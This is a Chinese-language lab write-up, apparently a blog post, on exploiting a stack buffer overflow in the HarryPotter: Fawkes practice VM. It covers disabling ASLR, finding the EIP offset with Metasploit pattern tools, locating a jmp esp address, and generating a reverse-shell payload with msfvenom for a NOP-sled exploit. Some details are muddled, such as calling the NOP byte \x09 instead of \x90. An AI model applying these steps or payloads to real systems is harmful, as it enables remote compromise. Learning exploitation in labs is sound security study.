“ 缓冲区溢出深入了解一下”
01
—
缓冲区溢出调试
靶机环境还是HARRYPOTTER: FAWKES靶机,调试机器是kali,调试准备:
先把kali的ALSR功能关闭,这样内存地址就不是随机化的了,不然找不到缓冲区溢出的位置:
cat /proc/sys/kernel/randomize_va_space
echo 0 /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
安装调试工具:
apt-get install edb-debugger
python -c "print('A'*500)" #python生成500个A
这里的EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是的具体指令。我们可以通过修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。如果ESP的指令是反弹shell的指令,就可以反弹shell!
确认了目标存在缓存区溢出漏洞,就需要找到缓存区溢出的位置,从而知道该从哪里插入攻击代码,同样的我们还是生成大量数据,这里就不能像上面一样都生成A了,因为数据如果都一样的话就不知道溢出的位置在哪里,我们需要通过报错的地方判断出溢出位置:
这里我们使用msf生成500无规律排列的字符,代码如下
msf-pattern_create -l 500
重启edb,和上面同样的操作开启调试,此时将msf生成的无规律字符输入,此时页面如下:
告诉我们0x64413764的位置有问题,这个内存位置很可能就是我们要找的溢出位置,我们来查找一下这个位置在内存输入区的位置:
msf-pattern_offset -l 500 -q 64413764
输出告诉我们偏移量是112,也就是说64413764在113这个位置,这里可以验证一下,顺便强化一下我对EIP和ESP这两个寄存器的理解,输入以下验证代码:
python -c "print('A'*112+'BBBB'+'C'*100)"
意思是生成112个A,后面跟着4个B,再后边跟着100个C,总共216个字符,在重启EDB,按照上面的步骤在注入这个payload,观察EIP和ESP:
我们可以看到EIP上面是42424242,而42刚好就是B的16进制,ESP里面全是CCCC,刚好符合我们的分析;结合我们最开始的攻击思路,生成一段反弹shell的代码,并转化为16进制,放入ESP,再让EIP指向ESP,就可以强制执行ESP的代码了,也就是反弹shell的代码!
但是这里我们不仅需要在ESP中放入payload,还需要让EIP指向ESP,那怎样指向呢?具体操作步骤如下
在plugins设置中选中ESP->EIP,即将ESP的内存地址作为EIP的内容,这样就可以实现EIP指向ESP了,在左侧选择执行此操作的进程(注意要选择有执行权限的,就是r-x)
此时点击FInd就会找到ESP的内存位置,选择jmp esp的内存地址,那就是我们要写入EIP的内容:
可以看到结果是08049d55,但是机器命令中需要反写(我猜是因为小端序的原因),所以就是559d0408(两位为一个16进制),最后得出的16进制结果就是\x55\x9d\x04\x08,这就是我们需要写入EIP的内容,我们来书写payload:
首先用MSF生成16进制的反弹shell代码:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.5 LPORT=4444 -b "\x00" -f python
构造EXP:
我们已经成功获取payload,但并不是最终的payload,因为还要考虑缓存溢出位置的问题,并且这段代码不能作出攻击行为,所以我们还需要配合这个payload来写个python脚本,生成最终的payload并编写exp来攻击。
EXP的组成:112个占位符+EIP代码(\x55\x9d\x04\x08)+\x90*32+MSF反弹shell代码,最后构造如下:
python2 pwn.py
拿到shell! 唯一没有搞懂的是\x09*32这个nop指令是怎么计算出来的,我尝试了\x09*16,\x09*64,\x09*128,\x09*127,\x09*15可以成功反弹shell!,最低得是\x09*10才可以,只能是这样一个一个测试出来了。。。
看到了,点个赞转发一下啦,如果对网络安全技术感兴趣的可以后台私信我哟
免责声明:
第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助